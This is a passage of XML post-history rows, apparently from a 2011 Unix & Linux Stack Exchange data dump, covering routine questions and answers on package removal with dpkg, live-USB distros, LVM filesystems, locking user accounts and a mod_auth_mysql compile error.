  <row Id="18071" PostHistoryTypeId="4" PostId="6596" RevisionGUID="a6d4abe9-1de5-4a10-8996-3d3a09ff66d5" CreationDate="2011-02-20T18:19:09.863" UserId="1207" Comment="Removed evertyhing that was irrelvant. " Text="How do I zip/unzip on the unix command line?" />
  <row Id="18072" PostHistoryTypeId="2" PostId="7721" RevisionGUID="794b7c5e-ea28-4169-9944-a401d0f95524" CreationDate="2011-02-20T18:26:41.523" UserId="4158" Text="Two answers:&#xD;&#xA;&#xD;&#xA;A short one:  you want to use [this vim script][1].  It will conceal the actual ANSI escape sequences in your file, and use syntax highlighting to color the text appropriately.  The problem with using this in a pager is that you will have to make vim recognize when to use this.  I am not sure if you can simply always load it, or if it will conflict with other syntax files.  You will have to experiment with it.&#xD;&#xA;&#xD;&#xA;A long answer: The best you can hope for is a partial non-portable solution.   Less does not actually understand the terminal escape sequences, since these are largely terminal dependent, but less can recognize (a subset of) these, and will know to pass them through to the terminal, if you use the `-r` (or `-R`) option. The terminal will interprets the escape sequences and changes the attributes of the text (color, bold, underline ...). Vim, being an editor rather than a pager, does not simply pass raw control characters to the terminal.  It needs to display them in some way, so you can actually edit them.  You can use other features of vim, such as concealment and syntax highlighting to hide the sequences and use them for setting colors of the text, however, it will always handle only a subset of the terminal sequences, and will probably not work on some terminals.  &#xD;&#xA;&#xD;&#xA;This is really just one of many issues you will run into when you try to use a text editor as a pager. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;   [1]:http://vim.sourceforge.net/scripts/script.php?script_id=302" />
  <row Id="18073" PostHistoryTypeId="5" PostId="7715" RevisionGUID="feae9c85-d250-4bc3-bb8d-61577a259738" CreationDate="2011-02-20T18:49:50.550" UserId="-1" Comment="insert duplicate link" Text="&gt; **Possible Duplicate:**  &#xA;&gt; [Good Introductory resources for linux](http://unix.stackexchange.com/questions/3294/good-introductory-resources-for-linux)  &#xA;&#xA;&lt;!-- End of automatically inserted text --&gt;&#xA;&#xA;I've been a Windows user since forever. I touched linux here and there, but my next job will have me use linux as my desktop computer 100% of the time.&#xD;&#xA;&#xD;&#xA;What are some essential tips/info I should know about?&#xD;&#xA;" />
  <row Id="18074" PostHistoryTypeId="10" PostId="7715" RevisionGUID="49b7b2ef-b45e-43cf-a0e5-7a32276c9e68" CreationDate="2011-02-20T18:49:50.410" UserId="-1" CloseReasonId="1" Text="[{&quot;Id&quot;:1594,&quot;DisplayName&quot;:&quot;ripper234&quot;},{&quot;Id&quot;:73,&quot;DisplayName&quot;:&quot;Michael Mrozek&quot;}]" />
  <row Id="18075" PostHistoryTypeId="6" PostId="7719" RevisionGUID="454a6bb3-f979-433a-a31e-87d266c1f4b4" CreationDate="2011-02-20T19:12:36.720" UserId="885" Comment="edited tags" Text="édvdàék3bàésplità" />
  <row Id="18076" PostHistoryTypeId="6" PostId="1588" RevisionGUID="5acb7d5a-8e0f-4e3e-9022-d352d5d2c782" CreationDate="2011-02-20T19:13:11.883" UserId="885" Comment="edited tags" Text="écommandölineàésplità" />
  <row Id="18077" PostHistoryTypeId="2" PostId="7722" RevisionGUID="ee00c631-fb7d-4615-abe3-017a00dda617" CreationDate="2011-02-20T19:13:16.407" UserId="4924" Text="What would be the best distro for running off a USB, tried with ubuntu but it was too slow because of I/O. Would it be possible to run it from memory so it it's faster or would that make initial loading a lot slower?&#xD;&#xA;What i need is something that i can run off a USB that boots and shuts down fast preferably with the same packages as ubuntu.&#xD;&#xA;I'd also like to know how to make it so it doesnt ask me to install it every time, bascially install it on a usb, size is not much of an issue." />
  <row Id="18078" PostHistoryTypeId="1" PostId="7722" RevisionGUID="ee00c631-fb7d-4615-abe3-017a00dda617" CreationDate="2011-02-20T19:13:16.407" UserId="4924" Text="Best distro for USB" />
  <row Id="18079" PostHistoryTypeId="3" PostId="7722" RevisionGUID="ee00c631-fb7d-4615-abe3-017a00dda617" CreationDate="2011-02-20T19:13:16.407" UserId="4924" Text="éusbàédistrosà" />
  <row Id="18080" PostHistoryTypeId="6" PostId="7698" RevisionGUID="77e7aa1e-e978-406b-862a-6c5e7152c671" CreationDate="2011-02-20T19:14:03.550" UserId="885" Comment="edited tags" Text="écommandölineàétextöprocessingàécsvàétabulationà" />
  <row Id="18081" PostHistoryTypeId="2" PostId="7723" RevisionGUID="0bc5ab5e-a7c3-49b7-a2e3-5fe34cfc23f3" CreationDate="2011-02-20T19:18:47.460" UserId="885" Text="For manual tab stops: `expand -t 42,48`&#xD;&#xA;&#xD;&#xA;For automatic tab stops, as suggested by [alex](http://unix.stackexchange.com/users/1946/alex): `column -t`&#xD;&#xA;&#xD;&#xA;(`expand` is on all POSIX systems. `column` is a BSD utility, available in many Linux distributions as well.)&#xD;&#xA;" />
  <row Id="18082" PostHistoryTypeId="6" PostId="7707" RevisionGUID="7874b009-ee15-4678-9c7a-d73c6e7cb536" CreationDate="2011-02-20T19:28:33.923" UserId="885" Comment="edited tags" Text="éfilesàéopenöfilesàérenameà" />
  <row Id="18083" PostHistoryTypeId="2" PostId="7724" RevisionGUID="6617cec1-360b-426e-b1b6-d83e6abdb77b" CreationDate="2011-02-20T19:28:49.430" UserId="3082" Text="[Knoppix][1] is a popular choice. I use Gentoo [liveDVD][2], converted to USB stick.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.knoppix.net/wiki/USB_Based_FAQ&#xD;&#xA;  [2]: http://www.gentoo.org/news/20091023-livedvd-10.1-announcement.xml" />
  <row Id="18084" PostHistoryTypeId="6" PostId="7690" RevisionGUID="5192a92a-d8ec-43ad-8d8b-8533dfe181d2" CreationDate="2011-02-20T19:30:21.750" UserId="885" Comment="edited tags" Text="éusersàélockàéaccountörestrictionsà" />
  <row Id="18085" PostHistoryTypeId="6" PostId="7700" RevisionGUID="709c13ff-b7c3-4cb8-9106-6ae52c984866" CreationDate="2011-02-20T19:33:34.757" UserId="885" Comment="edited tags" Text="ésshàéloginàéauthenticationà" />
  <row Id="18086" PostHistoryTypeId="5" PostId="7691" RevisionGUID="8ebd2355-83a9-4d17-826e-324a953e93fa" CreationDate="2011-02-20T19:36:54.343" UserId="3455" Comment="added 724 characters in body" Text="Recently in a bout of frustration with getting phpmyadmin setup, I decided to start from scratch.&#xD;&#xA;&#xD;&#xA;Unfortunately, during the uninstall phase, I was prompted with the root password for mysql which I didn't have on hand at the time. Suffice to say, it informed me that there would be residue components since it couldn't properly clean its database connectors.&#xD;&#xA;&#xD;&#xA;When I arrived home, I attempted to remove the package through `aptitude purge` which turns out to no more potent than `aptitude remove` in that it saw phpmyadmin, attempted to remove it, and failed since the directories associated with the package were already removed from my earlier attempt.&#xD;&#xA;&#xD;&#xA;I tried to reinstall phpmyadmin, but aptitude simply stated that there was no update available, and did nothing, if there were an update, I'd probably run into the same problems regardless.&#xD;&#xA;&#xD;&#xA;In this regard, I proceeded to clean up mysql by dropping the database it used, and cleaning it from the user tables. I however have no idea what else is left from the package, or even how to clean the hooks in aptitude.&#xD;&#xA;&#xD;&#xA;The result of `dpkg --purge`&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    ickronia:/home/ken# dpkg --purge phpmyadmin&#xD;&#xA;    (Reading database ... 27158 files and directories currently installed.)&#xD;&#xA;    Removing phpmyadmin ...&#xD;&#xA;    /var/lib/dpkg/info/phpmyadmin.prerm: line 5: /usr/share/dbconfig-common/dpkg/prerm.mysql: No such file or directory&#xD;&#xA;    dpkg: error processing phpmyadmin (--purge):&#xD;&#xA;     subprocess pre-removal script returned error exit status 1&#xD;&#xA;    /var/lib/dpkg/info/phpmyadmin.postinst: line 35: /usr/share/dbconfig-common/dpkg/postinst.mysql: No such file or directory&#xD;&#xA;    dpkg: error while cleaning up:&#xD;&#xA;     subprocess post-installation script returned error exit status 1&#xD;&#xA;    Errors were encountered while processing:&#xD;&#xA;    phpmyadmin&#xD;&#xA;" />
  <row Id="18087" PostHistoryTypeId="6" PostId="7681" RevisionGUID="05c5e7f0-e163-43a8-91d7-e293d1ddad20" CreationDate="2011-02-20T19:52:19.103" UserId="885" Comment="edited tags" Text="ésambaàélogsà" />
  <row Id="18088" PostHistoryTypeId="2" PostId="7725" RevisionGUID="2e10e09b-ddfa-46fd-b563-8fc0864f3ced" CreationDate="2011-02-20T20:19:20.583" UserId="885" Text="[`phpmyadmin`](http://packages.debian.org/squeeze/phpmyadmin) depends on [`dbconfig-common`](http://packages.debian.org/squeeze/dbconfig-common), which contains `/usr/share/dbconfig-common/dpkg/prerm.mysql`. It looks like you've managed to uninstall `dbconfig-common` without uninstalling `phpmyadmin`, which shouldn't have happened (did you try to `--force` something?).&#xD;&#xA;&#xD;&#xA;My advice is to first try `aptitude reinstall dbconfig-common`. If it works, you should have a system in a consistent state from which you can try `aptitude purge phpmyadmin` again.&#xD;&#xA;&#xD;&#xA;Another thing you can do is comment out the offending line in `/var/lib/dpkg/info/phpmyadmin.prerm`. This is likely to make you able to uninstall `phpmyadmin`. I suspect you did what that line is supposed to do when you edited those mysql tables manually, but I don't know `phpmyadmin` or database admin in general, so I'm only guessing.&#xD;&#xA;&#xD;&#xA;The difference between `remove` and `purge` is that `remove` just removes the program and its data files (the stuff you could re-download), while `purge` first does what `remove` does then also removes configuration files (the stuff you might have edited locally). If `remove` fails, so will `purge`.&#xD;&#xA;" />
  <row Id="18089" PostHistoryTypeId="25" PostId="7710" RevisionGUID="446a409a-24a1-4401-b165-39dc05a95364" CreationDate="2011-02-20T20:23:14.463" Comment="http://twitter.com/#!/StackUnix/status/39419829320564736" />
  <row Id="18090" PostHistoryTypeId="5" PostId="7691" RevisionGUID="f0cf2a82-bfd8-4fab-9ce0-38d6fc125d3a" CreationDate="2011-02-20T21:05:42.563" UserId="3455" Comment="added directory listing" Text="Recently in a bout of frustration with getting phpmyadmin setup, I decided to start from scratch.&#xD;&#xA;&#xD;&#xA;Unfortunately, during the uninstall phase, I was prompted with the root password for mysql which I didn't have on hand at the time. Suffice to say, it informed me that there would be residue components since it couldn't properly clean its database connectors.&#xD;&#xA;&#xD;&#xA;When I arrived home, I attempted to remove the package through `aptitude purge` which turns out to no more potent than `aptitude remove` in that it saw phpmyadmin, attempted to remove it, and failed since the directories associated with the package were already removed from my earlier attempt.&#xD;&#xA;&#xD;&#xA;I tried to reinstall phpmyadmin, but aptitude simply stated that there was no update available, and did nothing, if there were an update, I'd probably run into the same problems regardless.&#xD;&#xA;&#xD;&#xA;In this regard, I proceeded to clean up mysql by dropping the database it used, and cleaning it from the user tables. I however have no idea what else is left from the package, or even how to clean the hooks in aptitude.&#xD;&#xA;&#xD;&#xA;The result of `dpkg --purge`&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    ickronia:/home/ken# dpkg --purge phpmyadmin&#xD;&#xA;    (Reading database ... 27158 files and directories currently installed.)&#xD;&#xA;    Removing phpmyadmin ...&#xD;&#xA;    /var/lib/dpkg/info/phpmyadmin.prerm: line 5: /usr/share/dbconfig-common/dpkg/prerm.mysql: No such file or directory&#xD;&#xA;    dpkg: error processing phpmyadmin (--purge):&#xD;&#xA;     subprocess pre-removal script returned error exit status 1&#xD;&#xA;    /var/lib/dpkg/info/phpmyadmin.postinst: line 35: /usr/share/dbconfig-common/dpkg/postinst.mysql: No such file or directory&#xD;&#xA;    dpkg: error while cleaning up:&#xD;&#xA;     subprocess post-installation script returned error exit status 1&#xD;&#xA;    Errors were encountered while processing:&#xD;&#xA;    phpmyadmin&#xD;&#xA;&#xD;&#xA;On following Gile's advice, I tried to re-install the dependency dbconfig-common&#xD;&#xA;&#xD;&#xA;    ickronia:/home/ken# aptitude reinstall dbconfig-common&#xD;&#xA;    Reading package lists... Done&#xD;&#xA;    Building dependency tree&#xD;&#xA;    Reading state information... Done&#xD;&#xA;    Reading extended state information&#xD;&#xA;    Initializing package states... Done&#xD;&#xA;    Reading task descriptions... Done&#xD;&#xA;    dbconfig-common is not currently installed, so it will not be reinstalled.&#xD;&#xA;    dbconfig-common is not currently installed, so it will not be reinstalled.&#xD;&#xA;    The following packages are BROKEN:&#xD;&#xA;      phpmyadmin&#xD;&#xA;    0 packages upgraded, 0 newly installed, 0 to remove and 3 not upgraded.&#xD;&#xA;    Need to get 0B of archives. After unpacking 0B will be used.&#xD;&#xA;    The following packages have unmet dependencies:&#xD;&#xA;      phpmyadmin: Depends: php5-mcrypt but it is not installable&#xD;&#xA;                  Depends: dbconfig-common but it is not installable&#xD;&#xA;                  Depends: libjs-mootools (&gt;= 1.2.4.0~debian1-1) which is a virtual  package.&#xD;&#xA;    The following actions will resolve these dependencies:&#xD;&#xA;&#xD;&#xA;    Remove the following packages:&#xD;&#xA;    phpmyadmin&#xD;&#xA;&#xD;&#xA;    Score is 121&#xD;&#xA;&#xD;&#xA;    Accept this solution? [Y/n/q/?] n&#xD;&#xA;&#xD;&#xA;    *** No more solutions available ***&#xD;&#xA;&#xD;&#xA;    The following actions will resolve these dependencies:&#xD;&#xA;&#xD;&#xA;    Remove the following packages:&#xD;&#xA;    phpmyadmin&#xD;&#xA;&#xD;&#xA;    Score is 121&#xD;&#xA;&#xD;&#xA;    Accept this solution? [Y/n/q/?] n&#xD;&#xA;&#xD;&#xA;    *** No more solutions available ***&#xD;&#xA;&#xD;&#xA;    The following actions will resolve these dependencies:&#xD;&#xA;&#xD;&#xA;    Remove the following packages:&#xD;&#xA;    phpmyadmin&#xD;&#xA;&#xD;&#xA;    Score is 121&#xD;&#xA;&#xD;&#xA;    Accept this solution? [Y/n/q/?] y&#xD;&#xA;    The following packages will be REMOVED:&#xD;&#xA;      phpmyadmin{a}&#xD;&#xA;    0 packages upgraded, 0 newly installed, 1 to remove and 3 not upgraded.&#xD;&#xA;    Need to get 0B of archives. After unpacking 17.7MB will be freed.&#xD;&#xA;    Do you want to continue? [Y/n/?] y&#xD;&#xA;    Writing extended state information... Done&#xD;&#xA;    (Reading database ... 27158 files and directories currently installed.)&#xD;&#xA;    Removing phpmyadmin ...&#xD;&#xA;    /var/lib/dpkg/info/phpmyadmin.prerm: line 5: /usr/share/dbconfig-common/dpkg/prerm.mysql: No such file or directory&#xD;&#xA;    dpkg: error processing phpmyadmin (--remove):&#xD;&#xA;     subprocess pre-removal script returned error exit status 1&#xD;&#xA;    /var/lib/dpkg/info/phpmyadmin.postinst: line 35: /usr/share/dbconfig-common/dpkg/postinst.mysql: No such file or directory&#xD;&#xA;    dpkg: error while cleaning up:&#xD;&#xA;     subprocess post-installation script returned error exit status 1&#xD;&#xA;    Errors were encountered while processing:&#xD;&#xA;     phpmyadmin&#xD;&#xA;    E: Sub-process /usr/bin/dpkg returned an error code (1)&#xD;&#xA;    A package failed to install.  Trying to recover:&#xD;&#xA;    Reading package lists... Done&#xD;&#xA;    Building dependency tree&#xD;&#xA;    Reading state information... Done&#xD;&#xA;    Reading extended state information&#xD;&#xA;    Initializing package states... Done&#xD;&#xA;    Writing extended state information... Done&#xD;&#xA;    Reading task descriptions... Done&#xD;&#xA;    &#xD;&#xA;    ickronia:/home/ken#&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;It appears that phpmyadmin cleanly cleared out dbconfig-common&#xD;&#xA;&#xD;&#xA;    ickronia:/usr/share/dbconfig-common# ls -alF&#xD;&#xA;    total 12&#xD;&#xA;    drwxr-xr-x  3 root root 4096 2011-02-09 08:09 ./&#xD;&#xA;    drwxr-xr-x 98 root root 4096 2011-01-20 21:42 ../&#xD;&#xA;    drwxr-xr-x  3 root root 4096 2011-01-05 11:08 data/&#xD;&#xA;    ickronia:/usr/share/dbconfig-common#&#xD;&#xA;&#xD;&#xA;" />
  <row Id="18091" PostHistoryTypeId="5" PostId="7691" RevisionGUID="60c53d95-109a-4d9c-9a83-7b40232e6468" CreationDate="2011-02-20T21:24:45.967" UserId="3455" Comment="6th attempt" Text="Recently in a bout of frustration with getting phpmyadmin setup, I decided to start from scratch.&#xD;&#xA;&#xD;&#xA;Unfortunately, during the uninstall phase, I was prompted with the root password for mysql which I didn't have on hand at the time. Suffice to say, it informed me that there would be residue components since it couldn't properly clean its database connectors.&#xD;&#xA;&#xD;&#xA;When I arrived home, I attempted to remove the package through `aptitude purge` which turns out to no more potent than `aptitude remove` in that it saw phpmyadmin, attempted to remove it, and failed since the directories associated with the package were already removed from my earlier attempt.&#xD;&#xA;&#xD;&#xA;I tried to reinstall phpmyadmin, but aptitude simply stated that there was no update available, and did nothing, if there were an update, I'd probably run into the same problems regardless.&#xD;&#xA;&#xD;&#xA;In this regard, I proceeded to clean up mysql by dropping the database it used, and cleaning it from the user tables. I however have no idea what else is left from the package, or even how to clean the hooks in aptitude.&#xD;&#xA;&#xD;&#xA;The result of `dpkg --purge`&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    ickronia:/home/ken# dpkg --purge phpmyadmin&#xD;&#xA;    (Reading database ... 27158 files and directories currently installed.)&#xD;&#xA;    Removing phpmyadmin ...&#xD;&#xA;    /var/lib/dpkg/info/phpmyadmin.prerm: line 5: /usr/share/dbconfig-common/dpkg/prerm.mysql: No such file or directory&#xD;&#xA;    dpkg: error processing phpmyadmin (--purge):&#xD;&#xA;     subprocess pre-removal script returned error exit status 1&#xD;&#xA;    /var/lib/dpkg/info/phpmyadmin.postinst: line 35: /usr/share/dbconfig-common/dpkg/postinst.mysql: No such file or directory&#xD;&#xA;    dpkg: error while cleaning up:&#xD;&#xA;     subprocess post-installation script returned error exit status 1&#xD;&#xA;    Errors were encountered while processing:&#xD;&#xA;    phpmyadmin&#xD;&#xA;&#xD;&#xA;On following Gile's advice, I tried to re-install the dependency dbconfig-common&#xD;&#xA;&#xD;&#xA;    ickronia:/home/ken# aptitude reinstall dbconfig-common&#xD;&#xA;    Reading package lists... Done&#xD;&#xA;    Building dependency tree&#xD;&#xA;    Reading state information... Done&#xD;&#xA;    Reading extended state information&#xD;&#xA;    Initializing package states... Done&#xD;&#xA;    Reading task descriptions... Done&#xD;&#xA;    dbconfig-common is not currently installed, so it will not be reinstalled.&#xD;&#xA;    dbconfig-common is not currently installed, so it will not be reinstalled.&#xD;&#xA;    The following packages are BROKEN:&#xD;&#xA;      phpmyadmin&#xD;&#xA;    0 packages upgraded, 0 newly installed, 0 to remove and 3 not upgraded.&#xD;&#xA;    Need to get 0B of archives. After unpacking 0B will be used.&#xD;&#xA;    The following packages have unmet dependencies:&#xD;&#xA;      phpmyadmin: Depends: php5-mcrypt but it is not installable&#xD;&#xA;                  Depends: dbconfig-common but it is not installable&#xD;&#xA;                  Depends: libjs-mootools (&gt;= 1.2.4.0~debian1-1) which is a virtual  package.&#xD;&#xA;    The following actions will resolve these dependencies:&#xD;&#xA;&#xD;&#xA;    Remove the following packages:&#xD;&#xA;    phpmyadmin&#xD;&#xA;&#xD;&#xA;    Score is 121&#xD;&#xA;&#xD;&#xA;    Accept this solution? [Y/n/q/?] n&#xD;&#xA;&#xD;&#xA;    *** No more solutions available ***&#xD;&#xA;&#xD;&#xA;    The following actions will resolve these dependencies:&#xD;&#xA;&#xD;&#xA;    Remove the following packages:&#xD;&#xA;    phpmyadmin&#xD;&#xA;&#xD;&#xA;    Score is 121&#xD;&#xA;&#xD;&#xA;    Accept this solution? [Y/n/q/?] n&#xD;&#xA;&#xD;&#xA;    *** No more solutions available ***&#xD;&#xA;&#xD;&#xA;    The following actions will resolve these dependencies:&#xD;&#xA;&#xD;&#xA;    Remove the following packages:&#xD;&#xA;    phpmyadmin&#xD;&#xA;&#xD;&#xA;    Score is 121&#xD;&#xA;&#xD;&#xA;    Accept this solution? [Y/n/q/?] y&#xD;&#xA;    The following packages will be REMOVED:&#xD;&#xA;      phpmyadmin{a}&#xD;&#xA;    0 packages upgraded, 0 newly installed, 1 to remove and 3 not upgraded.&#xD;&#xA;    Need to get 0B of archives. After unpacking 17.7MB will be freed.&#xD;&#xA;    Do you want to continue? [Y/n/?] y&#xD;&#xA;    Writing extended state information... Done&#xD;&#xA;    (Reading database ... 27158 files and directories currently installed.)&#xD;&#xA;    Removing phpmyadmin ...&#xD;&#xA;    /var/lib/dpkg/info/phpmyadmin.prerm: line 5: /usr/share/dbconfig-common/dpkg/prerm.mysql: No such file or directory&#xD;&#xA;    dpkg: error processing phpmyadmin (--remove):&#xD;&#xA;     subprocess pre-removal script returned error exit status 1&#xD;&#xA;    /var/lib/dpkg/info/phpmyadmin.postinst: line 35: /usr/share/dbconfig-common/dpkg/postinst.mysql: No such file or directory&#xD;&#xA;    dpkg: error while cleaning up:&#xD;&#xA;     subprocess post-installation script returned error exit status 1&#xD;&#xA;    Errors were encountered while processing:&#xD;&#xA;     phpmyadmin&#xD;&#xA;    E: Sub-process /usr/bin/dpkg returned an error code (1)&#xD;&#xA;    A package failed to install.  Trying to recover:&#xD;&#xA;    Reading package lists... Done&#xD;&#xA;    Building dependency tree&#xD;&#xA;    Reading state information... Done&#xD;&#xA;    Reading extended state information&#xD;&#xA;    Initializing package states... Done&#xD;&#xA;    Writing extended state information... Done&#xD;&#xA;    Reading task descriptions... Done&#xD;&#xA;    &#xD;&#xA;    ickronia:/home/ken#&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;It appears that phpmyadmin cleanly cleared out dbconfig-common&#xD;&#xA;&#xD;&#xA;    ickronia:/usr/share/dbconfig-common# ls -alF&#xD;&#xA;    total 12&#xD;&#xA;    drwxr-xr-x  3 root root 4096 2011-02-09 08:09 ./&#xD;&#xA;    drwxr-xr-x 98 root root 4096 2011-01-20 21:42 ../&#xD;&#xA;    drwxr-xr-x  3 root root 4096 2011-01-05 11:08 data/&#xD;&#xA;    ickronia:/usr/share/dbconfig-common#&#xD;&#xA;&#xD;&#xA;Attempted to dpkg from archives as suggested by Giles&#xD;&#xA;&#xD;&#xA;    ickronia:/usr/share/dbconfig-common# dpkg -i /var/cache/apt/archives/{dbconfig-common,php5-mcrypt,libjs-mootools}*.deb&#xD;&#xA;    Selecting previously deselected package dbconfig-common.&#xD;&#xA;    (Reading database ... 27161 files and directories currently installed.)&#xD;&#xA;    Unpacking dbconfig-common (from .../dbconfig-common_1.8.46_all.deb) ...&#xD;&#xA;    Selecting previously deselected package php5-mcrypt.&#xD;&#xA;    Unpacking php5-mcrypt (from .../php5-mcrypt_5.3.3-6_i386.deb) ...&#xD;&#xA;    Selecting previously deselected package libjs-mootools.&#xD;&#xA;    Unpacking libjs-mootools (from .../libjs-mootools_1.2.5~debian1-2_all.deb) ...&#xD;&#xA;    Setting up dbconfig-common (1.8.46) ...&#xD;&#xA;    dpkg: dependency problems prevent configuration of php5-mcrypt:&#xD;&#xA;     php5-mcrypt depends on libltdl7 (&gt;= 2.2.6b); however:&#xD;&#xA;      Package libltdl7 is not installed.&#xD;&#xA;     php5-mcrypt depends on libmcrypt4; however:&#xD;&#xA;      Package libmcrypt4 is not installed.&#xD;&#xA;    dpkg: error processing php5-mcrypt (--install):&#xD;&#xA;     dependency problems - leaving unconfigured&#xD;&#xA;    Setting up libjs-mootools (1.2.5~debian1-2) ...&#xD;&#xA;    Processing triggers for man-db ...&#xD;&#xA;    Processing triggers for libapache2-mod-php5 ...&#xD;&#xA;    Reloading web server config: apache2.&#xD;&#xA;    Errors were encountered while processing:&#xD;&#xA;     php5-mcrypt&#xD;&#xA;    ickronia:/usr/share/dbconfig-common#&#xD;&#xA;    &#xD;&#xA;I have a webserver running on php, but I'm willing to risk downtime to get this resolved.&#xD;&#xA;" />
  <row Id="18092" PostHistoryTypeId="2" PostId="7726" RevisionGUID="4d46af21-d202-48a3-97ca-7979692ac483" CreationDate="2011-02-20T21:30:08.733" UserId="4930" Text="[Tinycorelinux][1] boots incredibly fast.  It may not have all of ubuntu's features out of the box.  But it has a large set of extensions.&#xD;&#xA;&#xD;&#xA;By default tinycorelinux boots entirely into RAM so everything is lightening fast.  Even the home folder resides in RAM.&#xD;&#xA;&#xD;&#xA;If you are going to experiment with tincorelinux I reccemond installing qemu in ubuntu.  Then just call the tinycore-current.iso file from the command line.  Qemu is slow but has worked well with tinycorelinux for me.&#xD;&#xA;&#xD;&#xA;    qemu -cdrom tinycore-current.iso&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://tinycorelinux.com" />
  <row Id="18093" PostHistoryTypeId="2" PostId="7727" RevisionGUID="a6c7e9f8-8a0f-458d-a3cb-9ba25616cbeb" CreationDate="2011-02-20T22:05:04.383" UserId="48" Text="Since I found out about [LVM][1] I have been giving more thought to the process for choosing the file system for my future installs. &#xD;&#xA;&#xD;&#xA;Usually I'd always choose whatever default option the distro would offer me for my partitions. And that works fine when we are talking about just a simple desktop.&#xD;&#xA;&#xD;&#xA;If you are planning to setup a machine for some kind of server, how do you evaluate your alternatives? I'm planning on never installing a system without LVM again. &#xD;&#xA;&#xD;&#xA;Would it limit in any way the options for file systems that I could choose from? And, if you are doing LVM, would it matter for you if you choose ext2, ext3, ext4, since the maximum partition size is defined by your logical volume, not an actual physical partition?&#xD;&#xA;&#xD;&#xA;[1]: http://unix.stackexchange.com/questions/7122/does-lvm-impact-performance" />
  <row Id="18094" PostHistoryTypeId="1" PostId="7727" RevisionGUID="a6c7e9f8-8a0f-458d-a3cb-9ba25616cbeb" CreationDate="2011-02-20T22:05:04.383" UserId="48" Text="Choosing the file system" />
  <row Id="18095" PostHistoryTypeId="3" PostId="7727" RevisionGUID="a6c7e9f8-8a0f-458d-a3cb-9ba25616cbeb" CreationDate="2011-02-20T22:05:04.383" UserId="48" Text="éfilesystemsàélvmà" />
  <row Id="18096" PostHistoryTypeId="5" PostId="7694" RevisionGUID="5c9bf397-a3e1-4a07-8e52-9bf9db333ee4" CreationDate="2011-02-20T22:13:48.103" UserId="2511" Comment="added 129 characters in body" Text="Lock the password and change the shell to `/bin/nologin`. &#xD;&#xA;&#xD;&#xA;    sudo usermod --lock --shell /bin/nologin username&#xD;&#xA;&#xD;&#xA;(Or more concisely, `sudo usermod -L -s /bin/nologin username`.)&#xD;&#xA;&#xD;&#xA;" />
  <row Id="18097" PostHistoryTypeId="2" PostId="7728" RevisionGUID="bd8db84e-f595-4c93-a5a3-445282dddd8b" CreationDate="2011-02-20T22:16:58.710" UserId="2511" Text="LVM doesn't restrict what filesystems can be put on top of it. (It doesn't know or care.)&#xD;&#xA;&#xD;&#xA;If you're choosing between ext2, ext3, and ext4, the maximum partition size isn't the main concern, unless of course you need to go beyond the limits of the earlier versions, in which case the choice is mandatory." />
  <row Id="18098" PostHistoryTypeId="2" PostId="7729" RevisionGUID="4254ae87-4df6-4ef4-b6f7-d942c74b31fe" CreationDate="2011-02-20T22:36:35.520" UserId="4931" Text="Hi!&#xD;&#xA;&#xD;&#xA;I try to add the auth_mod_auth (3.0.0) module to my Slackware 13 (apache 2.2 &amp; MySQL 5.0) system but I got the following error:&#xD;&#xA;&#xD;&#xA;&gt; /usr/lib/apr-1.3.12/build-1/libtool --silent --mode=compile i486-slackware-linux-gcc -prefer-pic -O2 -march=i486 -mtune=i686  -DLINUX=2 -D_REENTRANT -D_GNU_SOURCE -D_LARGEFILE64_SOURCE -pthread -I/usr/include/httpd  -I/usr/include/apr-1   -I/usr/include/apr-1  -I/usr/include/mysql  -c -o mod_auth_mysql.lo mod_auth_mysql.c &amp;&amp; touch mod_auth_mysql.slo&#xD;&#xA;mod_auth_mysql.c:591: error: expected expression before 'mysql_auth_config_rec'&#xD;&#xA;mod_auth_mysql.c:591: error: initializer element is not constant&#xD;&#xA;mod_auth_mysql.c:591: error: (near initialization for 'mysql_auth_cmds[0].cmd_data')&#xD;&#xA;mod_auth_mysql.c:595: error: expected expression before 'mysql_auth_config_rec'&#xD;&#xA;mod_auth_mysql.c:595: error: initializer element is not constant&#xD;&#xA;mod_auth_mysql.c:595: error: (near initialization for 'mysql_auth_cmds[1].cmd_data')&#xD;&#xA;mod_auth_mysql.c:599: error: expected expression before 'mysql_auth_config_rec'&#xD;&#xA;mod_auth_mysql.c:599: error: initializer element is not constant&#xD;&#xA;mod_auth_mysql.c:599: error: (near initialization for 'mysql_auth_cmds[2].cmd_data')&#xD;&#xA;mod_auth_mysql.c:603: error: expected expression before 'mysql_auth_config_rec'&#xD;&#xA;mod_auth_mysql.c:603: error: initializer element is not constant&#xD;&#xA;mod_auth_mysql.c:603: error: (near initialization for 'mysql_auth_cmds[3].cmd_data')&#xD;&#xA;mod_auth_mysql.c:607: error: expected expression before 'mysql_auth_config_rec'&#xD;&#xA;mod_auth_mysql.c:607: error: initializer element is not constant&#xD;&#xA;mod_auth_mysql.c:607: error: (near initialization for 'mysql_auth_cmds[4].cmd_data')&#xD;&#xA;mod_auth_mysql.c:611: error: expected expression before 'mysql_auth_config_rec'&#xD;&#xA;mod_auth_mysql.c:611: error: initializer element is not constant&#xD;&#xA;mod_auth_mysql.c:611: error: (near initialization for 'mysql_auth_cmds[5].cmd_data')&#xD;&#xA;mod_auth_mysql.c:615: error: expected expression before 'mysql_auth_config_rec'&#xD;&#xA;mod_auth_mysql.c:615: error: initializer element is not constant&#xD;&#xA;mod_auth_mysql.c:615: error: (near initialization for 'mysql_auth_cmds[6].cmd_data')&#xD;&#xA;mod_auth_mysql.c:619: error: expected expression before 'mysql_auth_config_rec'&#xD;&#xA;mod_auth_mysql.c:619: error: initializer element is not constant&#xD;&#xA;mod_auth_mysql.c:619: error: (near initialization for 'mysql_auth_cmds[7].cmd_data')&#xD;&#xA;mod_auth_mysql.c:623: error: expected expression before 'mysql_auth_config_rec'&#xD;&#xA;mod_auth_mysql.c:623: error: initializer element is not constant&#xD;&#xA;mod_auth_mysql.c:623: error: (near initialization for 'mysql_auth_cmds[8].cmd_data')&#xD;&#xA;mod_auth_mysql.c:627: error: expected expression before 'mysql_auth_config_rec'&#xD;&#xA;mod_auth_mysql.c:627: error: initializer element is not constant&#xD;&#xA;mod_auth_mysql.c:627: error: (near initialization for 